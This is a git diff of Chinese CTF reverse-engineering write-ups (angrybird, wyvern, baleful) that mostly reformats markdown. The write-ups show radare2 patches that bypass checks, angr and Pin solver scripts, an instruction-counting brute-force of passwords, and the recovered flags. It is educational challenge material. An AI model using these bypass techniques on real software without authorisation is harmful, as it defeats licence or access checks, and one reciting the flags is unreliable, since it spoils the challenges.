该函数的汇编代码大概可以整理成下面的伪代码: + ```C int num2 = 0; // 交谈次数 void giff_flag(&flag, int key) { @@ -235,7 +243,7 @@ void giff_flag(&flag, int key) { num2++; } ``` + 我们知道 flag 的格式应该是 `ECTF{...}`,所以只要初始 flag 在多次转换后出现这几个字符,就很可能是最终的 flag 了。我们已经理清了算法,接下来的事情就交给 Z3 了。 - ## 参考资料 diff --git a/doc/6.2.3_re_codegatectf2017_angrybird.md b/doc/6.2.3_re_codegatectf2017_angrybird.md index c6b1769..7481e6b 100644 --- a/doc/6.2.3_re_codegatectf2017_angrybird.md +++ b/doc/6.2.3_re_codegatectf2017_angrybird.md @@ -3,23 +3,27 @@ - [题目解析](#题目解析) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.2.3_re_codegatectf2017_angrybird) ## 题目解析 + 看题目就知道,这是一个会让我们抓狂的程序,事实也确实如此。 -``` + +```text $ file angrybird_org angrybird: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=089c3a14bcd7ffb08e94645cea46f1162b171445, stripped ``` -``` + +```text $ ./angrybird_org $ ``` + 一运行就退出,应该是需要程序流上有问题。 `main` 函数的开头有一些坑需要 patch,才能使程序正常运行,然后经过很多很多轮的运算和判断,可以看到 main 函数长达 18555 行: -``` + +```text [0x00400600]> pd 60 @ main / (fcn) main 18555 | main (); @@ -88,8 +92,10 @@ $ | 0x00400856 8845d0 mov byte [local_30h], al | 0x00400859 0fb645d0 movzx eax, byte [local_30h] ``` + 第一处 patch,将指令 `je` 改成 `jne`: -``` + +```text [0x00400600]> s 0x0040077b [0x0040077b]> pd 1 | `=< 0x0040077b 0f845ffeffff je sym.imp.exit @@ -97,9 +103,11 @@ $ [0x0040077b]> pd 1 | `=< 0x0040077b 0f855ffeffff jne sym.imp.exit ``` + 第二处 patch,函数 `sub.you_should_return_21_not_1_:__6f6`: -``` -[0x0040077b]> pdf @ sub.you_should_return_21_not_1_:__6f6 + +```text +[0x0040077b]> pdf @ sub.you_should_return_21_not_1_:__6f6 / (fcn) sub.you_should_return_21_not_1_:__6f6 22 | sub.you_should_return_21_not_1_:__6f6 (); | ; CALL XREF from 0x004007a6 (main) @@ -121,8 +129,10 @@ $ - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x00606060 1500 0000 0000 0000 0000 0000 0000 0000 ................ ``` + 另外该函数结尾处指令是 `pop rbp`,而不是正确情况下的 `leave`,我们把它改过来: -``` + +```text [0x00606060]> s 0x0040070a [0x0040070a]> pd 1 | 0x0040070a 5d pop rbp @@ -130,9 +140,11 @@ $ [0x0040070a]> pd 1 | 0x0040070a c9 leave ``` + 第三处 patch,将调用 `sub.stack_check_70c` 的指令直接 `nop` 掉: -``` -[0x00606060]> pdf @ sub.stack_check_70c + +```text +[0x00606060]> pdf @ sub.stack_check_70c / (fcn) sub.stack_check_70c 30 | sub.stack_check_70c (); | : ; CALL XREF from 0x004007b3 (main) @@ -157,9 +169,11 @@ $ | 0x004007b6 90 nop | 0x004007b7 90 nop ``` + 第四处 patch 是将 `sub.hello_72a` 函数中的 `je` 改成 `jne`: -``` -[0x0040077b]> pdf @ sub.hello_72a + +```text +[0x0040077b]> pdf @ sub.hello_72a / (fcn) sub.hello_72a 55 | sub.hello_72a (); | ; var int local_8h @ rbp-0x8 @@ -182,8 +196,10 @@ $ | 0x0040075f c9 leave \ 0x00400760 c3 ret ``` + 总的来说就是修改了下面几个地方: -``` + +```text $ radiff2 angrybird_org angrybird_mod 0x0000070a 5d => c9 0x0000070a 0x00000722 85 => 84 0x00000722 @@ -195,10 +211,11 @@ $ radiff2 angrybird_org angrybird_mod 这样程序的运行就正常了,它从标准输入读入字符,进行一系列的判断,由于程序执行流非常长,我们不可能一个一个地去 patch。radare2 里输入命令 `VV @ main` 可以看到下面的东西: -![](../pic/6.2.3_graph.png) +![img](../pic/6.2.3_graph.png) 不如使用 angr 来解决它,指定好目标地址,让它运行到那儿,在大多数情况下,这种方法都是有效的。 -``` + +```text [0x00400761]> pd -20 @ main+18555 | 0x00404f8e d00f ror byte [rdi], 1 | 0x00404f90 b645 mov dh, 0x45 ; 'E' ; 69 @@ -223,13 +240,16 @@ $ radiff2 angrybird_org angrybird_mod | `-> 0x00404fda c9 leave ; 选择一个目标地址 \ 0x00404fdb c3 ret ``` + 因为每次错误退出之前,都会调用 `puts` 函数,所以应该避免其出现,将地址设置为参数 avoid。 -``` + +```text [0x00400600]> is~puts vaddr=0x00400590 paddr=0x00000590 ord=002 fwd=NONE sz=16 bind=GLOBAL type=FUNC name=imp.puts ``` 对于使用 angr 来说,上面的 patch 完全没有必要,只要选择一个合适的初始化地址,如 `0x004007da`,也就是 `fget` 函数的下一条指令,就可以跑出结果: + ```python import angr @@ -249,21 +269,24 @@ print "Flag:", final.posix.dumps(1) ``` Bingo!!!(不能保证每次都有效,多试几次) -``` + +```text $ python2 solve.py WARNING | 2017-12-03 17:33:58,544 | angr.state_plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing. Flag: you typed : Im_so_cute&pretty_:)� ``` 然后用我们 patch 过的程序来验证 flag: -``` -$ ./angrybird_mod + +```text +$ ./angrybird_mod you should return 21 not 1 :( Im_so_cute&pretty_:) you typed : Im_so_cute&pretty_:) ``` + 同样需要一定的运气才能通过,祝好运:) - ## 参考资料 -- https://ctftime.org/task/3375 + +- diff --git a/doc/6.2.4_re_csawctf2015_wyvern.md b/doc/6.2.4_re_csawctf2015_wyvern.md index 12f6d12..a63924c 100644 --- a/doc/6.2.4_re_csawctf2015_wyvern.md +++ b/doc/6.2.4_re_csawctf2015_wyvern.md @@ -3,16 +3,17 @@ - [题目解析](#题目解析) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.2.4_re_csawctf2015_wyvern) ## 题目解析 -``` -$ file wyvern + +```text +$ file wyvern wyvern: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=45f9b5b50d013fe43405dc5c7fe651c91a7a7ee8, not stripped ``` -``` -$ ./wyvern + +```text +$ ./wyvern +-----------------------+ | Welcome Hero | +-----------------------+ @@ -24,13 +25,17 @@ Enter the dragon's secret: AAAAAAAA [-] You have failed. The dragon's power, speed and intelligence was greater. ``` + 看起来是 C++ 写的: -``` + +```text [0x004013bb]> iI~lang lang cxx ``` + 而且不知道是什么操作,从汇编来看程序特别地难理解,我们耐住性子仔细看,在 `main` 函数里找到了验证输入的函数: -``` + +```text [0x004013bb]> pdf @ main ... | 0x0040e261 e8ea60ffff call sym.start_quest_std::string_ ; 验证函数 @@ -52,8 +57,10 @@ lang cxx | ,==< 0x0040e2aa e9bd000000 jmp 0x40e36c ; 否则,失败 ... ``` + 于是我们知道,如果函数 `sym.start_quest_std::string_` 返回 `0x1337`,说明验证成功了。来 patch 一下试试: -``` + +```text [0x004013bb]> s 0x40e271 [0x0040e271]> pd 2 | ; JMP XREF from 0x0040e26c (main) @@ -71,8 +78,9 @@ Written 5 bytes (mov eax, 0x1337) = wx b837130000 | 0x0040e276 90 nop | 0x0040e277 2d37130000 sub eax, 0x1337 ``` -``` -$ ./wyvern_patch + +```text +$ ./wyvern_patch +-----------------------+ | Welcome Hero | +-----------------------+ @@ -84,10 +92,12 @@ Enter the dragon's secret: hello world [+] A great success! Here is a flag{hello world} ``` + 果然如此。 然后在验证函数中,又发现了对输入字符长度的验证过程: -``` + +```text [0x004013bb]> pdf @ sym.start_quest_std::string_ ... | :| 0x0040469c e8afc8ffff call method.std::string.length()const ; 返回值 rax,是输入字符串长度 +1,因为字符末尾的 `\x00' @@ -101,10 +111,12 @@ Enter the dragon's secret: hello world - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x00610138 73 ``` + 它将一个数读入 r9d 中,做 `0x73 >> 2 = 28` 的操作,然后与输入字符串比较,所以我们猜测输入字符长度应为 28。 由于有下面这段指令,它将字符放到 `obj.hero` 处的 `vector` 中,我们有理由认为,验证是一个字符一个字符进行的,而且长度就是 28: -``` + +```text | :||`-``-> 0x00404c13 48bff8026100. movabs rdi, obj.hero ; 0x6102f8 | :|| : 0x00404c1d 48be3c016100. movabs rsi, obj.secret_100 ; 0x61013c ; U"d\xd6\u010a\u0171\u01a1\u020f\u026e\u02dd\u034f\u03ae\u041e\u0452\u04c6\u0538\u05a1\u0604\u0635\u0696\u0704\u0763\u07cc\u0840\u0875\u08d4\u0920\u096c\u09c2\u0a0f" | :|| : 0x00404c27 e8240b0000 call method.std::vector>.push_back(intconst&) @@ -113,8 +125,10 @@ Enter the dragon's secret: hello world | :|| : 0x00404ec0 48bea8016100. movabs rsi, obj.secret_2575 ; 0x6101a8 | :|| : 0x00404eca e881080000 call method.std::vector>.push_back(intconst&) ``` + 找到这些加密字符: -``` + +```text [0x004013bb]> px 28*4 @ 0x61013c - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x0061013c 6400 0000 d600 0000 0a01 0000 7101 0000 d...........q... @@ -127,13 +141,16 @@ Enter the dragon's secret: hello world ``` 继续往下看,发现函数: -``` + +```text | :|||:| 0x0040484f e86cd4ffff call sym.sanitize_input_std::string_ ``` + 就是它决定了返回值,如果输入字符串正确,则该函数返回 `0x1337`。 接下来就是跟踪各种交叉引用,从 `obj.hero` 里依次取值: -``` + +```text [0x0040484f]> pdf @ sym.sanitize_input_std::string_ ~obj.hero | --------> 0x00402726 b8f8026100 mov eax, obj.hero ; 0x6102f8 | --------> 0x00402d37 b8f8026100 mov eax, obj.hero ; 0x6102f8 @@ -152,8 +169,10 @@ Enter the dragon's secret: hello world | 0x00402d45 e8f6280000 call method.std::vector>.operator[](unsignedlong) | 0x00402d4a 48898500ffff. mov qword [local_100h], rax ``` + 继续查找 `local_d8h`: -``` + +```text [0x0040484f]> pdf @ sym.sanitize_input_std::string_ ~local_d8h | ; var int local_d8h @ rbp-0xd8 | |:||:|: 0x00402739 48898528ffff. mov qword [local_d8h], rax @@ -177,8 +196,10 @@ Enter the dragon's secret: hello world | 0x00402858 41f6c001 test r8b, 1 ; 1 | 0x0040285c 898d20ffffff mov dword [local_e0h], ecx ; 将 ecx 存入 [local_e0h] ``` + 查找 `local_e0h`: -``` + +```text [0x0040484f]> pdf @ sym.sanitize_input_std::string_ ~local_e0h | ; var int local_e0h @ rbp-0xe0 | |:||:|: 0x0040285c 898d20ffffff mov dword [local_e0h], ecx @@ -191,8 +212,10 @@ Enter the dragon's secret: hello world | 0x00402a7f 39c8 cmp eax, ecx ; 进行比较。逐字符比较,不相等时退出。 | 0x00402a81 0f94c2 sete dl ``` + 查找 `local_e8h`: -``` + +```text [0x0040484f]> pdf @ sym.sanitize_input_std::string_ ~local_e8h | ; var int local_e8h @ rbp-0xe8 | |:||:|: 0x00402a25 898518ffffff mov dword [local_e8h], eax @@ -208,21 +231,27 @@ Enter the dragon's secret: hello world | --------> 0x00402a1c 488b7d80 mov rdi, qword [local_80h] | --------> 0x00402b58 488b7d80 mov rdi, qword [local_80h] ``` + 继续跟踪 `local_80`,你会发现输入的字符放在 `0x6236a8` 的位置。 继续往下看,终于看到了曙光,下面这个函数对输入字符做一些变换: -``` + +```text | 0x00402a20 e88beaffff call sym.transform_input_std::vector_int_std::allocator_int___ ``` + 进入该函数,找到字符转换的核心算法: -``` + +```text | |:||:|: 0x004017dd e85e3e0000 call method.std::vector>.operator[](unsignedlong) ; 获得一个输入字符的地址 rax | |:||:|: 0x004017e2 8b08 mov ecx, dword [rax] ; 将该字符赋值给 ecx | |:||:|: 0x004017e4 488b45e0 mov rax, qword [local_20h] ; 获得上一个加密字符的地址 rax | |:||:|: 0x004017e8 0308 add ecx, dword [rax] ; 上一个加密字符加上当前输入字符 | |:||:|: 0x004017ea 8908 mov dword [rax], ecx ; 将当前加密字符放回 ``` + 例如第二个字符是 `r`,即 `0x72 + 0x64 = 0xd6`,第三个字符 `4`,即 `0x34 + 0xd6 = 0x10a`,依次类推。由此可以写出解密算法: + ```python array = [0x64, 0xd6, 0x10a, 0x171, 0x1a1, 0x20f, 0x26e, 0x2dd, 0x34f, 0x3ae, 0x41e, 0x452, 0x4c6, 0x538, @@ -239,7 +268,8 @@ print flag ``` Bingo!!! -``` + +```text $ ./wyvern +-----------------------+ | Welcome Hero | @@ -256,12 +286,16 @@ success 常规方法逆向出来了,但实在是太复杂,我们可以使用一些取巧的方法,想想前面讲过的 Pin 和 angr,下面我们就分别用这两种工具来解决它。 -#### 使用 Pin +### 使用 Pin + 首先要知道验证是逐字符的,一旦有不相同就会退出,也就是说执行下面语句的次数减一就是正确字符的个数: -``` + +```text | 0x00402a7f 39c8 cmp eax, ecx ; 进行比较。逐字符比较,不相等时退出。 ``` + 另外只有验证成功,才会跳转到地址 `0x0040e2af`,所以把 6.2.1 节的 pintool 拿来改成下面这样,当 count 为 28+1=29 时,验证成功: + ```C // This function is called before every instruction is executed VOID docount(void *ip) { @@ -269,13 +303,18 @@ VOID docount(void *ip) { if ((long int)ip == 0x0040e2af) icount++; // 0x0040e2a2 jne 0x0040e2af } ``` + 编译 pintool: -``` + +```text $ cp dont_panic.cpp source/tools/MyPintool [MyPinTool]$ make obj-intel64/wyvern.so TARGET=intel64 + ``` + 执行下看看: -``` + +```text $ python -c 'print("A"*28)' | ../../../pin -t obj-intel64/wyvern.so -o inscount.out -- ~/wyvern ; cat inscount.out +-----------------------+ | Welcome Hero | @@ -284,7 +323,7 @@ $ python -c 'print("A"*28)' | ../../../pin -t obj-intel64/wyvern.so -o inscount. [!] Quest: there is a dragon prowling the domain. brute strength and magic is our only hope. Test your skill. -Enter the dragon's secret: +Enter the dragon's secret: [-] You have failed. The dragon's power, speed and intelligence was greater. Count 1 $ python -c 'print("d"+"A"*27)' | ../../../pin -t obj-intel64/wyvern.so -o inscount.out -- ~/wyvern ; cat inscount.out @@ -295,11 +334,13 @@ $ python -c 'print("d"+"A"*27)' | ../../../pin -t obj-intel64/wyvern.so -o insco [!] Quest: there is a dragon prowling the domain. brute strength and magic is our only hope. Test your skill. -Enter the dragon's secret: +Enter the dragon's secret: [-] You have failed. The dragon's power, speed and intelligence was greater. Count 2 ``` + 看起来不错,写个脚本自动化该过程: + ```python import os @@ -327,8 +368,8 @@ for i in range(28): print("".join(flag)) ``` -#### 使用 angr - +### 使用 angr ## 参考资料 + - [CSAW QUALS 2015: wyvern-500](https://github.com/ctfs/write-ups-2015/tree/master/csaw-ctf-2015/reverse/wyvern-500) diff --git a/doc/6.2.5_re_picoctf2014_baleful.md b/doc/6.2.5_re_picoctf2014_baleful.md index 60e4862..2895102 100644 --- a/doc/6.2.5_re_picoctf2014_baleful.md +++ b/doc/6.2.5_re_picoctf2014_baleful.md @@ -5,12 +5,12 @@ - [使用 Pin 求解](#使用-pin-求解) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.2.5_re_picoctf2014_baleful) ## 题目解析 -``` -$ file baleful + +```text +$ file baleful baleful: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped $ strings baleful | grep -i upx @UPX! @@ -32,202 +32,99 @@ Unpacked 1 file. $ file baleful_unpack baleful_unpack: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=35d1a373cbe6a675ecbbc904722a86f853f20ce3, stripped ``` + 经过简单地检查,我们发现二进制文件被加了壳,使用 upx 脱掉就好了。 运行下看看,典型的密码验证题: -``` + +```text $ ./baleful_unpack Please enter your password: ABCD Sorry, wrong password! ``` -#### 逆向 VM 求解 +### 逆向 VM 求解 + 打开 r2 开干吧! -``` + +```text [0x08048540]> pdf @ main / (fcn) main 96 | main (); | ; var int local_8h @ ebp-0x8 | ; var int local_10h @ esp+0x10 | ; var int local_8ch @ esp+0x8c -| ; DATA XREF from 0x08048557 (entry0) -| 0x08049c82 55 push ebp -| 0x08049c83 89e5 mov ebp, esp -| 0x08049c85 57 push edi -| 0x08049c86 53 push ebx -| 0x08049c87 83e4f0 and esp, 0xfffffff0 -| 0x08049c8a 81ec90000000 sub esp, 0x90 -| 0x08049c90 65a114000000 mov eax, dword gs:[0x14] ; [0x14:4]=-1 ; 20 -| 0x08049c96 8984248c0000. mov dword [local_8ch], eax -| 0x08049c9d 31c0 xor eax, eax -| 0x08049c9f 8d442410 lea eax, [local_10h] ; 0x10 ; 16 -| 0x08049ca3 89c3 mov ebx, eax -| 0x08049ca5 b800000000 mov eax, 0 -| 0x08049caa ba1f000000 mov edx, 0x1f ; 31 -| 0x08049caf 89df mov edi, ebx -| 0x08049cb1 89d1 mov ecx, edx -| 0x08049cb3 f3ab rep stosd dword es:[edi], eax -| 0x08049cb5 8d442410 lea eax, [local_10h] ; 0x10 ; 16 -| 0x08049cb9 890424 mov dword [esp], eax -| 0x08049cbc e8caecffff call fcn.0804898b -| 0x08049cc1 b800000000 mov eax, 0 -| 0x08049cc6 8b94248c0000. mov edx, dword [local_8ch] ; [0x8c:4]=-1 ; 140 -| 0x08049ccd 653315140000. xor edx, dword gs:[0x14] -| ,=< 0x08049cd4 7405 je 0x8049cdb -| | 0x08049cd6 e8e5e7ffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void) -| | ; JMP XREF from 0x08049cd4 (main) -| `-> 0x08049cdb 8d65f8 lea esp, [local_8h] -| 0x08049cde 5b pop ebx -| 0x08049cdf 5f pop edi -| 0x08049ce0 5d pop ebp -\ 0x08049ce1 c3 ret +| ; DATA XREF from entry0 (0x8048557) +| 0x08049c82 push ebp +| 0x08049c83 mov ebp, esp +| 0x08049c85 push edi +| 0x08049c86 push ebx +| 0x08049c87 and esp, 0xfffffff0 +| 0x08049c8a sub esp, 0x90 +| 0x08049c90 mov eax, dword gs:[0x14] ; [0x14:4]=-1 ; 20 +| 0x08049c96 mov dword [local_8ch], eax +| 0x08049c9d xor eax, eax +| 0x08049c9f lea eax, [local_10h] ; 0x10 ; 16 +| 0x08049ca3 mov ebx, eax +| 0x08049ca5 mov eax, 0 +| 0x08049caa mov edx, 0x1f ; 31 +| 0x08049caf mov edi, ebx +| 0x08049cb1 mov ecx, edx +| 0x08049cb3 rep stosd dword es:[edi], eax +| 0x08049cb5 lea eax, [local_10h] ; 0x10 ; 16 +| 0x08049cb9 mov dword [esp], eax +| 0x08049cbc call fcn.0804898b +| 0x08049cc1 mov eax, 0 +| 0x08049cc6 mov edx, dword [local_8ch] ; [0x8c:4]=-1 ; 140 +| 0x08049ccd xor edx, dword gs:[0x14] +| ,=< 0x08049cd4 je 0x8049cdb +| | 0x08049cd6 call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void) +| | ; CODE XREF from main (0x8049cd4) +| `-> 0x08049cdb lea esp, [local_8h] +| 0x08049cde pop ebx +| 0x08049cdf pop edi +| 0x08049ce0 pop ebp +\ 0x08049ce1 ret ``` `fcn.0804898b` 是程序主要的逻辑所在,很容易看出来它其实是实现了一个虚拟机: -``` -[0x08048540]> pdf @ fcn.0804898b -Linear size differs too much from the bbsum, please use pdr instead. -[0x08048540]> pdr @ fcn.0804898b -/ (fcn) fcn.0804898b 226 -| fcn.0804898b (int arg_8h); -| ; var int local_b4h @ ebp-0xb4 -| ; var int local_38h @ ebp-0x38 -| ; var int local_34h @ ebp-0x34 -| ; var int local_30h @ ebp-0x30 -| ; var int local_2ch @ ebp-0x2c -| ; var int local_28h @ ebp-0x28 -| ; var int local_24h @ ebp-0x24 -| ; var int local_20h @ ebp-0x20 -| ; var int local_1ch @ ebp-0x1c -| ; var int local_18h @ ebp-0x18 -| ; var int local_14h @ ebp-0x14 -| ; var int local_10h @ ebp-0x10 -| ; var int local_ch @ ebp-0xc -| ; arg int arg_8h @ ebp+0x8 -| ; CALL XREF from 0x08049cbc (main) -| 0x0804898b 55 push ebp -| 0x0804898c 89e5 mov ebp, esp -| 0x0804898e 81ecc8000000 sub esp, 0xc8 -| 0x08048994 c745cc001000. mov dword [local_34h], 0x1000 -| 0x0804899b 837d0800 cmp dword [arg_8h], 0 -| 0x0804899f 742a je 0x80489cb -| ----------- true: 0x080489cb false: 0x080489a1 -| 0x080489a1 c745d0000000. mov dword [local_30h], 0 -| 0x080489a8 eb19 jmp 0x80489c3 -| ----------- true: 0x080489c3 -| ; JMP XREF from 0x080489c7 (fcn.0804898b) -| 0x080489aa 8b45d0 mov eax, dword [local_30h] -| 0x080489ad c1e002 shl eax, 2 -| 0x080489b0 034508 add eax, dword [arg_8h] -| 0x080489b3 8b10 mov edx, dword [eax] -| 0x080489b5 8b45d0 mov eax, dword [local_30h] -| 0x080489b8 8994854cffff. mov dword [ebp + eax*4 - 0xb4], edx -| 0x080489bf 8345d001 add dword [local_30h], 1 -| ----------- true: 0x080489c3 -| ; JMP XREF from 0x080489a8 (fcn.0804898b) -| 0x080489c3 837dd01e cmp dword [local_30h], 0x1e ; [0x1e:4]=-1 ; 30 -| 0x080489c7 7ee1 jle 0x80489aa -| ----------- true: 0x080489aa false: 0x080489c9 -| 0x080489c9 eb21 jmp 0x80489ec -| ----------- true: 0x080489ec -| ; JMP XREF from 0x0804899f (fcn.0804898b) -| 0x080489cb c745d4000000. mov dword [local_2ch], 0 -| 0x080489d2 eb12 jmp 0x80489e6 -| ----------- true: 0x080489e6 -| ; JMP XREF from 0x080489ea (fcn.0804898b) -| 0x080489d4 8b45d4 mov eax, dword [local_2ch] -| 0x080489d7 c784854cffff. mov dword [ebp + eax*4 - 0xb4], 0 -| 0x080489e2 8345d401 add dword [local_2ch], 1 -| ----------- true: 0x080489e6 -| ; JMP XREF from 0x080489d2 (fcn.0804898b) -| 0x080489e6 837dd41e cmp dword [local_2ch], 0x1e ; [0x1e:4]=-1 ; 30 -| 0x080489ea 7ee8 jle 0x80489d4 -| ----------- true: 0x080489d4 false: 0x080489ec -| ; JMP XREF from 0x080489c9 (fcn.0804898b) -| 0x080489ec c745c800f000. mov dword [local_38h], 0xf000 -| 0x080489f3 c745d8000000. mov dword [local_28h], 0 -| 0x080489fa c745ec000000. mov dword [local_14h], 0 -| 0x08048a01 c745f0000000. mov dword [local_10h], 0 -| 0x08048a08 c745f4000000. mov dword [local_ch], 0 -| 0x08048a0f c745e8000000. mov dword [local_18h], 0 -| 0x08048a16 8b45e8 mov eax, dword [local_18h] -| 0x08048a19 8945e4 mov dword [local_1ch], eax -| 0x08048a1c 8b45e4 mov eax, dword [local_1ch] -| 0x08048a1f 8945e0 mov dword [local_20h], eax -| 0x08048a22 8b45e0 mov eax, dword [local_20h] -| 0x08048a25 8945dc mov dword [local_24h], eax -| 0x08048a28 e93a120000 jmp 0x8049c67 -| ----------- true: 0x08049c67 -| ; JMP XREF from 0x08049c74 (fcn.0804898b) -| 0x08048a2d 8b45cc mov eax, dword [local_34h] -| 0x08048a30 05c0c00408 add eax, 0x804c0c0 -| 0x08048a35 0fb600 movzx eax, byte [eax] -| 0x08048a38 0fbec0 movsx eax, al -| 0x08048a3b 83f820 cmp eax, 0x20 ; 32 -| 0x08048a3e 0f871e120000 ja 0x8049c62 -| ----------- true: 0x08049c62 false: 0x08048a44 -| 0x08048a44 8b0485d49d04. mov eax, dword [eax*4 + 0x8049dd4] ; [0x8049dd4:4]=0x8048a4d -| 0x08048a4b ffe0 jmp eax -| ; JMP XREF from 0x08048a3e (fcn.0804898b) -| 0x08049c62 8345cc01 add dword [local_34h], 1 -| 0x08049c66 90 nop -| ----------- true: 0x08049c67 -| ; XREFS: JMP 0x08048a28 JMP 0x08048a51 JMP 0x08048a8a JMP 0x08048bbf JMP 0x08048cf4 JMP 0x08048e2a JMP 0x08048f8c JMP 0x080490c1 -| ; XREFS: JMP 0x080491f6 JMP 0x0804932b JMP 0x08049462 JMP 0x08049599 JMP 0x080495f0 JMP 0x08049644 JMP 0x08049698 JMP 0x080496cc -| ; XREFS: JMP 0x080496e7 JMP 0x08049710 JMP 0x08049739 JMP 0x08049762 JMP 0x0804978b JMP 0x080497b4 JMP 0x080497dd JMP 0x080498eb -| ; XREFS: JMP 0x080499fd JMP 0x08049a81 JMP 0x08049ab4 JMP 0x08049ae7 JMP 0x08049b3e JMP 0x08049b8d JMP 0x08049bf6 JMP 0x08049c2c -| ; XREFS: JMP 0x08049c60 -| 0x08049c67 8b45cc mov eax, dword [local_34h] -| 0x08049c6a 05c0c00408 add eax, 0x804c0c0 -| 0x08049c6f 0fb600 movzx eax, byte [eax] -| 0x08049c72 3c1d cmp al, 0x1d ; 29 -| 0x08049c74 0f85b3edffff jne 0x8048a2d -| ----------- true: 0x08048a2d false: 0x08049c7a -| 0x08049c7a 8b854cffffff mov eax, dword [local_b4h] -| ; JMP XREF from 0x08048a6f (fcn.0804898b + 228) -| 0x08049c80 c9 leave -\ 0x08049c81 c3 ret -``` +### 使用 Pin 求解 -``` -[0x08048540]> px @ 0x0804c060 -- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF -0x0804c060 7c86 0408 ad86 0408 d486 0408 a987 0408 |............... -0x0804c070 fb86 0408 1b87 0408 4e87 0408 d887 0408 ........N....... -0x0804c080 1986 0408 1388 0408 3488 0408 7b88 0408 ........4...{... -0x0804c090 b688 0408 f188 0408 2c89 0408 6086 0408 ........,...`... -0x0804c0a0 6a86 0408 6789 0408 0000 0000 0000 0000 j...g........... -``` - - -#### 使用 Pin 求解 就像上面那样逆向实在是太难了,不如 Pin 的黑科技。 编译 32 位 pintool: -``` + +```text [ManualExamples]$ make obj-ia32/inscount0.so TARGET= ``` + 随便输入几个长度不同的密码试试: -``` -[ManualExamples]$ echo "A" | ../../../pin -t obj-ia32/inscount0.so -o inscount.out -- ~/baleful_unpack ; cat inscount.out + +```text +[ManualExamples]$ echo "A" | ../../../pin -t obj-ia32/inscount0.so -o inscount.out -- ~/baleful_unpack ; cat inscount.out Please enter your password: Sorry, wrong password! Count 437603 -[ManualExamples]$ echo "AA" | ../../../pin -t obj-ia32/inscount0.so -o inscount.out -- ~/baleful_unpack ; cat inscount.out +[ManualExamples]$ echo "AA" | ../../../pin -t obj-ia32/inscount0.so -o inscount.out -- ~/baleful_unpack ; cat inscount.out Please enter your password: Sorry, wrong password! Count 438397 -[ManualExamples]$ echo "AAA" | ../../../pin -t obj-ia32/inscount0.so -o inscount.out -- ~/baleful_unpack ; cat inscount.out +[ManualExamples]$ echo "AAA" | ../../../pin -t obj-ia32/inscount0.so -o inscount.out -- ~/baleful_unpack ; cat inscount.out Please enter your password: Sorry, wrong password! Count 439191 ``` -``` + +```text $ python -c 'print(439191 - 438397)' 794 $ python -c 'print(438397 - 437603)' 794 ``` + 指令执行的次数呈递增趋势,完美,这样只要递增到这个次数有不同时,就可以得到正确的密码长度: + ```python +#!/usr/bin/env python + import os def get_count(flag): @@ -250,7 +147,8 @@ for i in range(50): p_count = count print("length of password: ", len(flag)) ``` -``` + +```text Please enter your password: Sorry, wrong password! count: 459041 diff: 794 @@ -262,20 +160,26 @@ count: 508273 diff: 48438 length of password: 30 ``` + 好,密码长度为 30,接下来是逐字符爆破,首先要确定字符不同对 count 没有影响: -``` -[ManualExamples]$ echo "A" | ../../../pin -t obj-ia32/inscount0.so -o inscount.out -- ~/baleful_unpack ; cat inscount.out + +```text +[ManualExamples]$ echo "A" | ../../../pin -t obj-ia32/inscount0.so -o inscount.out -- ~/baleful_unpack ; cat inscount.out Please enter your password: Sorry, wrong password! Count 437603 -[ManualExamples]$ echo "b" | ../../../pin -t obj-ia32/inscount0.so -o inscount.out -- ~/baleful_unpack ; cat inscount.out +[ManualExamples]$ echo "b" | ../../../pin -t obj-ia32/inscount0.so -o inscount.out -- ~/baleful_unpack ; cat inscount.out Please enter your password: Sorry, wrong password! Count 437603 -[ManualExamples]$ echo "_" | ../../../pin -t obj-ia32/inscount0.so -o inscount.out -- ~/baleful_unpack ; cat inscount.out +[ManualExamples]$ echo "_" | ../../../pin -t obj-ia32/inscount0.so -o inscount.out -- ~/baleful_unpack ; cat inscount.out Please enter your password: Sorry, wrong password! Count 437603 ``` + 确实没有,写下脚本: + ```python +#!/usr/bin/env python + import os def get_count(flag): @@ -300,7 +204,8 @@ for i in range(30): p_count = count print("password: ", "".join(flag)) ``` -``` + +```text packers_and_vms_and_xors_oh_mx Please enter your password: Sorry, wrong password! count: 507925 @@ -309,8 +214,9 @@ Please enter your password: Congratulations! count: 505068 password: packers_and_vms_and_xors_oh_my ``` + 简单到想哭。 - ## 参考资料 + - [Pico CTF 2014 : Baleful](https://github.com/ctfs/write-ups-2014/tree/master/pico-ctf-2014/master-challenge/baleful-200) diff --git a/doc/6.2.6_re_secconctf2017_printf_machine.md b/doc/6.2.6_re_secconctf2017_printf_machine.md index 2d159bd..815dc4c 100644 --- a/doc/6.2.6_re_secconctf2017_printf_machine.md +++ b/doc/6.2.6_re_secconctf2017_printf_machine.md @@ -3,16 +3,16 @@ - [题目解析](#题目解析) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.2.6_re_secconctf2017_printf_machine) ## 题目解析 -``` -$ file fsmachine + +```text +$ file fsmachine fsmachine: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2c99311f15c42eaa9c06b6567ef68b73bed27f07, not stripped ``` - ## 参考资料 -- https://ctftime.org/task/5042 + +- - [400_printf_machine](https://github.com/SECCON/SECCON2017_online_CTF/tree/master/binary/400_printf_machine) diff --git a/doc/6.2.7_re_codegatectf2018_redvelvet.md 